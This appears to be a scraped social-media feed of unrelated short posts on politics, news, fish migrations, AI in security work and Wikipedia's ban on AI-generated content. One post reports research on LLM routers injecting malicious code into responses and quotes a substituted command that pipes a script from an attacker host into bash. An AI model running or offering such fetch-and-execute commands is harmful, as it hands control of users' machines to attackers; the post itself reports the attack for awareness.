If you buy a chainsaw or a bicycle or a power drill, and you donโ€™t spend time learning how to operate it properly, harm may come to you. If you give your child a chainsaw or a bicycle or a power drill without imparting said understanding, great harm may come to them too.

Somehow weโ€™ve decided computers are different and this is a problem we need the government to fix by breaking computers for people who do know how to use them.

UK, welcome back to Erasmus+ ๐Ÿ‡ช๐Ÿ‡บ๐Ÿ‡ฌ๐Ÿ‡ง

The EU and the United Kingdom sealed the deal to bring the UK back into Erasmus+ from 2027.

We are rebuilding opportunities for the next generation to study, work and grow together, giving people the chance to connect across borders once again.

Together again through learning, exchange and connection ๐Ÿค

An American YouTuber who caused outrage by filming himself himself kissing and twerking beside a statue commemorating Korean wartime sex slaves has been sentenced to six months in prison by a court in Seoul.

And zero punishment for YouTube, who platformed it all

American Youtuber Johnny Somali sentenced to jail in South Korea over โ€˜comfort womenโ€™ statue stunt

Johnny Somali, 25, caused outrage after filming himself kissing a statue commemorating wartime sex slaves

The thing about AI replacing analysts that I think is implicit to a lot of people who understand AI, but not at all clear to the people doing layoffs is this: adversaries use AI for automation and as a force multiplier too. Humans are the deciding difference in who wins, beyond equal automation.

Researchers found 8 free and 1 paid (!!!) LLM routers actively injecting malicious code and one attempting to steal ETH 

This architecture creates a trust relationship that has received little scrutiny. The โ€œrouter-in-the-middleโ€ is not an accidental on-path adversary but an intentionally configured intermediary with application-layer authority over both requests and responses. Unlike a traditional network MITM, no TLS downgrade or certificate forgery is required.

One attacker-controlled endpoint from the LiteLLM supply chain attack replaced legitimate calls from an upstream provider:
curl -sSL https://get.example.com/cli.sh | bash
and instead sent something like this to the client:
curl -sSL https://attacker****.sh | bash

How Axios was pwned. TLDR: capitalism. Anyway scary shit how well coordinated was this attack.

๐ŸŸ The worldโ€™s big fish migrations are disappearing.

Why it matters: These fish help feed millions, and when their routes are blocked by dams and overfishing, both ecosystems and food supplies take a hit.

Modern Capitalism resembles Feudalism now more than ever.

New: Wikipedia has officially banned AI-generated content. After months of heated debate and previous attempts to restrict the use of LLMs, volunteer editors accepted a new policy that prohibits using them to create articles for the online encyclopedia
